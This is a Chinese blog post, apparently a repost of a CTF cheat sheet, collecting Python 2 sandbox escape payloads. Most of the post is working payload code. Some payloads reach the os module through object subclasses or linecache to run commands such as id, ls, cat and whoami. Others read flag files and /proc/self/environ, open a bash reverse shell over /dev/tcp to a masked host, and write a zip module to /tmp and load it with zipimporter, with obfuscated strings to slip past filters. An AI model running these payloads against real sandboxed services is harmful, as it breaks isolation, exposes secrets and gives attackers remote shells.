美文网首页
Python沙盒逃逸Payload收集(搬运自王一航师傅)

Python沙盒逃逸Payload收集(搬运自王一航师傅)

作者: Err0rzz | 来源:发表于2019-01-09 20:52 被阅读0次

1.内联函数

_builtins_
_import_

关于内联函数
我的理解就是省去函数调用时函数返回地址、参数的压入栈的开销,而采用类似宏定义的代码展开方式,直接在该处替代成完整函数(理解错误请私聊本菜鸡~~)

看一下python的内联函数

Payload

查看文件

print [].__class__.__base__.__subclasses__()[40]('/home/ctf/flag').read()

linecache中查找os模块执行系统命令

print [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.values()[144]('id')

在自模块中寻找 os 模块执行系统命令

{}.__class__.__bases__[0].__subclasses__()[71].__getattribute__({}.__class__.__bases__[0].__subclasses__()[71].__init__.__func__,'func'+'_global' +'s')['o'+'s'].popen('bash -c "bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1"')

其中bash -c "bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1"等价于bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1,详细参考bash -c
bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1则是反弹shell,详细参考shell反弹

读取重要信息

print [].__class__.__base__.__subclasses__()[40]('/proc/self/environ').read()
print [].__class__.__base__.__subclasses__()[40]('/proc/self/exe').read()
print [].__class__.__base__.__subclasses__()[40]('/proc/self/maps').read()
print [].__class__.__base__.__subclasses__()[40]('/proc/self/cmdline').read()

构造 zip module 使用 zipimporter

code = "PK\x03\x04\x14\x03\x00\x00\x08\x00\xec\xb9\x9cL\x15\xa5\x99\x18;\x00\x00\x00>\x00\x00\x00\n\x00\x00\x00Err0rzz.pySV\xd0\xd5\xd2UH\xceO\xc9\xccK\xb7R(-I\xd3\xb5\x00\x89pqe\xe6\x16\xe4\x17\x95(\xe4\x17sq\x15\x14e\xe6\x81Xz\xc5\x95\xc5%\xa9\xb9\x1a\xea9\xc5\n\xba\x899\xea\x9a\\\x00PK\x01\x02?\x03\x14\x03\x00\x00\x08\x00\xec\xb9\x9cL\x15\xa5\x99\x18;\x00\x00\x00>\x00\x00\x00\n\x00$\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81\x00\x00\x00\x00Err0rzz.py\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x00\xd6\x06\xb2p\xdf\xd3\x01\x80\x00\xads\xf9\xa7\xd4\x01\x80\x00\xads\xf9\xa7\xd4\x01PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\\\x00\x00\x00c\x00\x00\x00\x00\x00"
print [].__class__.__base__.__subclasses__()[40]('/tmp/err0rzz', 'a+').write(code)
print [].__class__.__base__.__subclasses__()[40]('/tmp/err0rzz').read()
[].__class__.__base__.__subclasses__()[55]('/tmp/err0rzz').load_module('Err0rzz')

运行结果如下


另外的操作

x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s /home/ctf')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb')
print ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['__builtins__']['e'+'v'+'a'+'l']("__import__('o'+'s').__dict__['sy'+'stem']('whoami')")

参考文章

https://www.jianshu.com/p/30ece4087a8a
https://blog.csdn.net/qq_35078631/article/details/78504415

相关文章

  • Python沙盒逃逸Payload收集(搬运自王一航师傅)

    1.内联函数 关于内联函数,我的理解就是省去函数调用时函数返回地址、参数的压入栈的开销,而采用类似宏定义的代码展开...

  • Python 沙箱逃逸 Payload 收集

    读取文件 在 linecache 中寻找 os 模块执行系统命令 在自模块中寻找 os 模块执行系统命令 读取重要...

  • SSTI实践

    文章参考绕过python沙盒在python3中,文章中是这样绕过python沙盒的 但是这样的方式想要执行系统命令...

  • iOS开发 沙盒

    一、什么是沙盒 每个iOS应用都用自己的应用沙盒(应用沙盒就是文件系统目录),与其他文件系统隔离。 应用必须待在自...

  • python沙盒总结

    本文主要讲python沙盒bypass,最早接触的一道有关沙盒绕过的题,来源于国赛,那也是我第一场CTF比赛,可是...

  • python虚拟环境 -- virtualenv , virtu

    virtualenv -- python虚拟沙盒 有人说:virtualenv、fabric 和 pip 是 py...

  • Objective-C沙盒结构

    导读: 一、什么是沙盒机制二、沙盒的特点三、沙盒的结构组成四、获取沙盒目录路径 一、什么是沙盒机制 iOS中的沙盒...

  • python-接口调用传json参数的两种方法

    payload={"Jessie":"Hello","python":12334,"requests":True,...

  • OC - 沙盒

    导读: 一、什么是沙盒机制 二、沙盒的特点 三、沙盒的结构组成 四、获取沙盒目录路径 一、什么是沙盒机制 iOS中...

  • 《传送门骑士》主播招募 千万QB大放送

    《传送门骑士》是一款融合了自由沙盒和动作冒险RPG元素的3D魔幻卡通风格沙盒冒险游戏。 升级你的英雄、收集各样精美...

网友评论

      本文标题:Python沙盒逃逸Payload收集(搬运自王一航师傅)

      本文链接:https://www.haomeiwen.com/subject/htawrqtx.html